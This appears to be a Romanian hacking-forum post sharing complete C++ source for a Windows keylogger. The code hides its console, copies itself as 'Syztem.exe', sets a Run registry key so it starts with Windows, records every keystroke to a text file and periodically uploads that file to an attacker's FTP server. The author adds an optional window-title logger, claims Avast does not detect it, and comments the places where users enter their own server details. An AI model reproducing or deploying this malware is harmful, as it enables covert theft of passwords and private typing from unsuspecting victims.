Jump to content
parazitul29

[c++]basic ftp keylogger

Recommended Posts

un keylogger in c++ facut de mine

#include<windows.h>
#include<Wininet.h>
#include<iostream.h>
#include<fstream.h>



short key;
char szKey[MAX_PATH];
int scan;

ftpUpload()
{
HINTERNET hOpen;
HINTERNET hConnect;

Sleep(200000);\\intervalul de timp in care se uploadeaza pe sv

hOpen=InternetOpen ("for rstcenter",INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
hConnect = InternetConnect (hOpen,"host",INTERNET_INVALID_PORT_NUMBER,"username","parola",INTERNET_SERVICE_FTP,0,0);\\modificati hostul,numele si parola
FtpDeleteFile(hConnect,"test.txt");
FtpPutFile(hConnect,"c:\\test.txt","test.txt",FTP_TRANSFER_TYPE_ASCII,0);\\c:\\test.txt fisierul care va fi uploadat si test.txt numele sub care va fi pus pe sv


InternetCloseHandle(hConnect);
Sleep(10);
InternetCloseHandle(hOpen);

ExitThread(0);

}



copy()
{
char FileName[MAX_PATH];
HINSTANCE hInstance=GetModuleHandle(NULL);
HKEY hkvirus;
char Virusname[100]="c:\\Syztem.exe";\\numele virusului

GetModuleFileName(hInstance, FileName, MAX_PATH);
CopyFile(FileName,"c:\\Syztem.exe",FALSE);\\unde se copiaza

RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run",0L,KEY_ALL_ACCESS,&hkvirus);
RegSetValueEx(hkvirus,"SYZTEM",0,REG_SZ,(const unsigned char*)Virusname,sizeof(Virusname));
}

taste()
{
while(1)
{

Sleep(10);
for(key=0;key<256;key++)
if(GetAsyncKeyState(key)==-32767)
{
scan=MapVirtualKeyEx(key,0,GetKeyboardLayout(0));
GetKeyNameText(scan << 16,szKey,MAX_PATH);
ofstream file( "c:\\test.txt", ios::app );\\ fisieruunde se scriu tastele

file<<szKey;
file.close();

}
} }

void main(void)

{
AllocConsole();
ShowWindow(FindWindowA("ConsoleWindowClass",NULL),0);

copy();
CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)&ftpUpload, NULL, 0, NULL);
taste();
}

daca vreti sa se scrie si titlul ferestrei deschisa la acel moment

bagati in functia main

 CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)&WindowTitle, NULL, 0, NULL);

si adaugati o noua functie

WindowTitle()
{
char title[MAX_PATH];
Sleep(120000);
GetWindowText(GetForegroundWindow(), title, 100);
ofstream file( "c:\\test.txt", ios::app );
file<<title;
file.close();
ExitThread(0);

}

problema e ca in fisierul unde se scriu tastele va fi cam greu de citit, va fi dezordonat rau de tot....

avast nu-l detecteaza de altele nu stiu

am pus comentarii pe unde trebuie sa modifice pentru aia care nu stiu

keylogerul este foarte simplu fara api hooking,detouring

m-am inspirat putin dintr-un cod de al lui slick cu un keylogger simplu care scria intr-un txt tastele apasate

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...